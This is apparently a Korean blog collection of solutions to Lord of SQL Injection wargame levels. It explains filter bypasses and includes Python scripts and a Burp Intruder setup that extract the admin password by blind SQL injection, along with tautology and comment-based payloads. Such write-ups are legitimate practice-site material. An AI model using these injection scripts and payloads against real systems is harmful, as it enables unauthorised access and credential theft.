[LOS] SQL Injection 풀이 (darkknight)

필터링된 문자

no라는 입력값에 필터링된 문자

prob

_

.

()

'

substr

ascii

우선 이문제를 해결하기 위해서는 pw와 no의 필터링의 차이를 봐야한다. pw 같은 경우 '를 사용하지 못하도록 되어있는데 이것이 생기면 문제점이 하나 있다. 우선 따옴표를 못넣어서 pw라는 문장에 끝을 못만든 다는 것이다

예시로 아래와 같은 쿼리문이 있다고 보자 그러면 '를 못사용하니 문장을 못 닫아서 전체 문장이 문자열 처리되어 버리는 것이다. 즉 연산자를 이용해 거짓을 참으로 만드는 것이 안되는 것이다. 그에반에 no의 경우 필터링 되는 것은 많지만 ' 가 no라는 입력에 없기 때문에 pw 보다는 좀더 수월하게 우회가 가능하다.

select id from prob_darkknight where id='guest' and pw=' " " or id="admin"#

import requests

url='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
cookies={'PHPSESSID':'pn5rbt2lp2gfnrk9fo9df7mjtr'}


pw_str=''
for position in range(1,9):
    for find_pw in range(33,127):
        value = '"x" or id like "admin" and ord(mid(pw,{},1)) like {}#'.format(position,find_pw)
        parameter={'no':value}
        res = requests.get(url, params=parameter, cookies=cookies)


        if("Hello admin" in res.text):
            pw_str+=chr(find_pw)
            print(res.text)
            print("pw=", pw_str)
            break

print("Found all pw=",pw_str)

 

[LOS] SQL Injection 풀이 (golem)

필터링 된 단어

prob

_

.

( )

or

and

substr

=

 

내용을 보게 되면 입력된 비밀번호와 db에서 가져온 비밀번호가 일치해야 admin 로그인이 승인되는 것을 볼 수 있다. 이 겨우 pw에서만 입력을 받기 때문에 union을 사용하기는 어려울 것 같고 전과 같이 비밀번호를 알아내는 방법을 써야할 것같다. 다만 substr이라는 문자열을 자르는 함수가 필터링되어 있으니 다른 방식으로 접근하여야 한다.

우선 = 필터링은 like 문을 사용해서 우회가 가능하다 또한 substr같은 경우 substring을 이용하면 우회가 가능해 진다.

or and 문의 경우 ||와 && 문자를 url encoding 해서 집어넣었다.  그 이유는 &&가 url에서 먹히지 않아서 그렇다.

이렇게 sql문을 작성하면 뒤에 && 뒤에 문이 참이 나와야 Hello admin이 나오기 때문에 이를 이용하여 자동화 공격시 우회가 가능해진다.

자동화 공격 코드는 전 orc 문제 풀이에서 조금만 수정을 하였다.

import requests

url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies={'PHPSESSID':'2331tgvu0ls0ek67c2ba6liiun    '}
pw_str=''


for position in range(1,9):
    for find_pw in range(33,127):
        value ="x' || id like'admin' && ascii(substring(pw,{},1)) like {}#'".format(position,find_pw)
        parameter={'pw':value}
        res = requests.get(url, params=parameter, cookies=cookies)


        if("Hello admin" in res.text):
            pw_str+=chr(find_pw)
            print("pw=", pw_str)
            break

print("Found all pw=",pw_str)

 

orge 문제 풀이

이 문제 같은 경우는 pw를 get 방식으로 가져와서 sql문에 넣고 나중에 비밀번호를 인증 확인할때 db table에서 가져온 pw와 get방식으로 가져온 pw가 일치하는 지를 보고 있다.

즉 pw 입력을 할때 정확한 비밀번호를 대입해야한다. 이건 일전에서 풀었던 orc와 같은 문제이지만 and와 or 이 필터링 되기 때문에 이를 우회하기만 한다면 같은 방식으로 풀 수 있다.

해결 방법을 찾았다 여기서도 hello guest를 출력하기 때문에 해당 문구에 id= 'admin'을 추가하기만 해도 orc와 같은 형식이 된다.

여긴 틀려먹은 생각^^

곰곰히 생각하다가 id= 이라는 문구를 두개 or 방식으로 넣으면어떻게 될지라는 생각이 들어 내가 가진 phpmyadmin에 sql 질의를 아래와 했지만^^  아래와 같이 두개의 테이블이 나올 경우 2번째 열 비교를 못한다.

select * from login where id='1' and pw='1' or id='2' and '2' 로 했더니 아래와 같이 두개의 테이블이 나오게 됐다. 즉 이 문제도 이렇게 하면 앞에 guest가 만족하도록 만들고 뒤에를 admin을 알아내도록 orc 와 같은 방식으로 풀어주는 것이다.

id pw

1   1

2   2

length 부터 시작해서 대입해 보자 확인시 orc와 같게 여기도 8자리이다.

자동화가 필요하다 생각하여 파이썬 코드 작성

아래 코드는 다른 블로그 내용 참고해서 작성하였다.

다만 특이한 점은 특수문자를 인코더하여 보낼 경우 작동을 안하였다. requests 자체에서 인코딩해서 데이터를 보내기 때문에 인코딩한 값이 한번더 인코딩되어 전달되는 것 같다.

import requests

url='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookies={'PHPSESSID':'7qs6pdatcldhqr93cjustg1pl7'}
pw_str=''


for position in range(1,9):
    for find_pw in range(33,127):
        value ="x' || id='admin' && ascii(substr(pw,{},1))={}#'".format(position,find_pw)
        parameter={'pw':value}
        res = requests.get(url, params=parameter, cookies=cookies)


        if("Hello admin" in res.text):
            pw_str+=chr(find_pw)
            print("pw=", pw_str)
            break

print("Found all pw=",pw_str)

Clear!!!

wolfman 문제 풀이

preg_match 로 걸어지는 문자

prob  <ㅡ table 이름을 필터링하여 데이터베이스를 확인하지 못하도록 사용한듯하다. query 문에  테이블 이름 prob_darkeif가 있음

_

.

( )

공백

 

생각보다 공백이 막히니 and 와 or을 쓰기가 까다로워 졌다.

그러면 생각해 낸게 id가 admin이기 만 하면 id가 중복될 일은 없을테니 or을 한번만 쓰고 '로만 구분하도록 하는 것이다.

or 다음에 'admin'을 써서 or과 다음 문장의 구분을 만들고 id 뒤에는 #처리를 하여 공백처리 하면 정상적으로 Clear가 가능하다.

darkelf 문제 풀이

필터링 문자

_

.

( )

or

and

우선적으로 검증을 id만으로 검증을 하도록 되어 있다. 어떻게든 id=admin이라는 문구만 넣으면 문제가 풀릴 것이다.

darkelf에서는 연산자를 사용못하도록 해놨다. 그렇다면 어떻게 해야할까?

or, and 와 똑같은 동작을 하는 코드를 찾아내는 것이다. 그것이 바로 아래 설명대로 이다.

|| 는 or 과 같은 역할

&&  and와 같은 역할

만약 위 코드가 작동 안하면 url 로 인코딩해서 집어넣을것

url 인코딩 디코딩 사이트

https://meyerweb.com/eric/tools/dencoder/

[LOS] SQL Injection 풀이 (orc)

어제 못 푼 문제를 다시 풀어본다.

우선 첫번째로 접근해야 할점은 코드를 보면 id가 admin인 것은 고정이고 pw 가 맞으면 admin이라는 문구를 출력하도록 되어 있다.

그리고 새로운 함수 addslashes가 있는데 이 함수는 DB에 저장될 때 '와 같은 특수문자는 구문을 나눌때 사용되므로 오류를 일으킬수 있기 때문에 앞에 / 을 처리하여 특수문자를 문자로 인식해 오류를 줄여주는 코드이다.

여기서는 DB에 저장하는 것이 아닌 참 거짓을 위주로 하는것이기 때문에 크게 신경쓰지 않아도 되는 부분이다.

 

주된 목적은 화면에 참 거짓이 도출된 다는 것이다. 이것을 이용하면 db의 데이터에 계속된 질의를 통해 비밀번호 값을 알아 낼 수 있게 된다.

처음에는 문자열을 길이를 알아내기 위해

Length를 이용하여 길이를 알아낸다.

그러면 아래 그림과 같이 8자리 패스워드인 것을 알아낼 수 있다.

패스워드의 길이를 알아냈으니 다음으로 해야할 것은 바로 비밀번호를 대조해서 넣는 것이다.

그걸 위해서는 substr 과 ascii를 알아야한다.

substr를 이용해 비밀번호를 한자리씩 추출해 참 거짓을 판별하는 것이다. ascii를 사용하는 이유는 대 소를 비교해 주는 <,> 문자를 사용하기 위해서이다. 만약 영어나 특수문자일 경우는 숫자형식으로 변환해서 대소를 구분하기 쉬워져 조금 더 수월하게 비밀번호를 찾는 것이 가능해 진다.

ascii 코드

48 ~ 57 : 숫자 (0 ~ 9)
65 ~ 90 : 영어(대문자) (A ~ Z)
97 ~ 122  : 영어(소문자) (a ~ z)
32 ~ 47 : 특수문자 (space, !, ", #, $, %, & etc.)
58 ~ 64 : 특수문자 (:, ;, <, =, >, @, ?)
123 ~ 126 : 특수문자 ({, |, }, ~)

이제 위 ascii를 이용해 데이터를 추출해 보자 python으로 코드를 짜도 되지만 나 같은 경우는 burp suit을 이용하여 값을 찾아내었다.

아래 문구처럼 url 을 만든다음 burp suit으로 http history로 패킷을 잡아서 intruder로 보낸다.

intruder는 반복하기 어려운 작업을 반복잡을 해주는 역할을 한다.

처음 하는 사람들은 사용법이 어려울 수 있으니 전체샷으로 찍어서 올린다.

맨처음 choose an attack type이 sniper로 되어 있을텐데 아래와 같이 cluster bomb로 설정해준다. 이는 설정한 payload positions을 각기 다른 값을 대입하는 공격 방식이다

payload positions의 보라색 부분이 패턴에 맞게 변경하여 반복 공격을 하는 자리이다. 아래와 같이 설정해준다.

그다음 payloads 탭에 가서 아까 설정한 payload positon의 순서에 맞게 설정해 준다. 비밀번호는 8자리 였기 때문에 substr을 이용해 첫번째 자리 부터 8번째 자리까지 1~8을 집어 넣어줘야한다.

substr(값,추출위치,해당위치의추출갯수) <ㅡ 함수 형식

두번째 payload postion에서는 숫자부터 집어넣기위해 48~57 을 넣는다. 이는 ascii코드로 0부터 9까지를 의미한다.

증가는 1씩

attack을 하면 아래와 같이 창이 뜨고 결과가 뜨게 되는데 참과 거짓의 문자 Length가 다르기 때문에 Length를 기준으로 정렬하면 아래와 같이 나오게 된다. 보게되면 4번 자리만 값이 안뜨는 것을 볼 수 있다. 즉 숫자가 아닌 다른 문자로 되어 있기 때문에 반복으로 위 과정을 영어 ascii 한번더 해주면 된다.

그러면 ascii 97 를 디코더한 소문자 a가 나오게 된다.

ascii에서 10진수로 변환시 095a9852가 나오게 되고 대입시 Clear가 된다.

Lord of SQL Injection 문제 풀이

문제 1번

이 문제는 php문을 주고 어떠한 식으로 필터링해야하는지 고민하는 문제이다. 입력창이 없는 이유는 get 방식으로 url에 데이터를 포함해서 오기때문에 url get 방식으로 전달할 데이터를 붙여주기만 하면된다.

보게되면 if문의 preg_match는 문자의 일치 여부를 반환시키는 것인데 여기서는 매칭시 exit를 썼다 즉 prob, _ , . ,()를 필터링하는 것이다.

' 와 "를사용할 수 있으니 이를 이용하여 우회를 해보자

id = admin

pw = admin' or '1'='1  를 집어 넣으면 id가 틀리더라도 pw 부분은 무조건 참이기 때문에 db의 첫번째를 가져오는데 이번의 경우 admin이 첫번째였다. 만약 첫번째가 아닐 경우 다른 경로로 우회를 해야한다.

문제 2번

문제 1번과 달라진 점이 있다면 md5를 썼다는 것이다. md5는 암호화를 하는 것으로 복호화와 암호화 둘다 가능한 암호 기법이다. 즉 pw를 a를 입력하여 md5가 암호화하면 1234가 된다고 하자 그 이후에 다시 영어 a를 다시 암호화 해도 1234가 된다. 즉 매칭이 변하지 않는 암호화 기법이다. 다만 여기서는 db의 내용을 파악해야 admin 계정 비밀번호를 알 수 있으니

md5를 무시하여 우회를 해보도록 하겠다.

 

pw를 무시하기 위해서는 id를 제외한 나머지 부분을 주석처리해야할 필요성이 있다. 주로 많이 쓰이는 주석을 정리하면

1. #

2. --

3 /*~~@#*/   

4 ;%00   <-- %00는 Null을 뜻하는데 ;와 같이 쓰이면 뒤에 오는 문자를 주석처리함

해당 문제에서는 1,2 번이 안되서 4번을 이용하여 admin 입력 후 pw 부분을 주석처리하여 우회를 하였다.

 

문제 3번

preg_match('/\'|\"|\`/i) <- 보게되면 이제는 '와 "로 필터링하는 것을 볼 수 있다. 이제는 다른 방법으로 우회를 해야한다.

또한 한가지 더 고민해야할 점은 id가 guest로 고정이 되어 있다는 것이다. 우리가 알아야할 것은 admin의 계정이기 때문에 admin을 불러오는 방법에 대해 고려해야한다.

id가 guest이면서 no=1이면 아래와 같이  통과하는 것을 볼 수 있다. 이를 우회할려면 id=guest이면서 no=1인 것을 거짓으로 만들고 뒤에 or 을 붙이면 or 뒤에 no = 2 는 대게 존재하기 때문에 no =2 를 기준으로 값을 찾게 된다.

아래는 그를 이용한 것이고 no = 2 와 no like 2는 거의 같은 것이라 보면된다. = 문자가 필터링 됐을 경우 like 를 사용한다.

문제 4번

특이하게 addslashes가 추가된 부분을 볼 수 있다. addslashes는 '  ~"~"~ ' 와 같이  따옴표 안에 따옴표가 있을때 문자로 인식하지 않게 슬래쉬를 붙여주는 역할을 하는 함수이다.

죽어라 풀었는데 안풀렸다.  가만히 생각해보니 pw 부분이 참이기만 하면 hello admin을 출력해 주니 이를 이용하여 length을 우선 알아내고 그 후 자동화 기법을 통해 비밀번호를 추출해 주면 된다. 이를 위해서는 burp suit의 intruder나 파이썬 코드를 이용하여 작성하면된다.

length()를 이용하여 8자리 비빌번호인것을 파악했다. 다음으로 해야할 것은 자동화 공격이다.

문제 4번 코드는 좀 더 알아본 후 추가하도록 하겠다.

+ Recent posts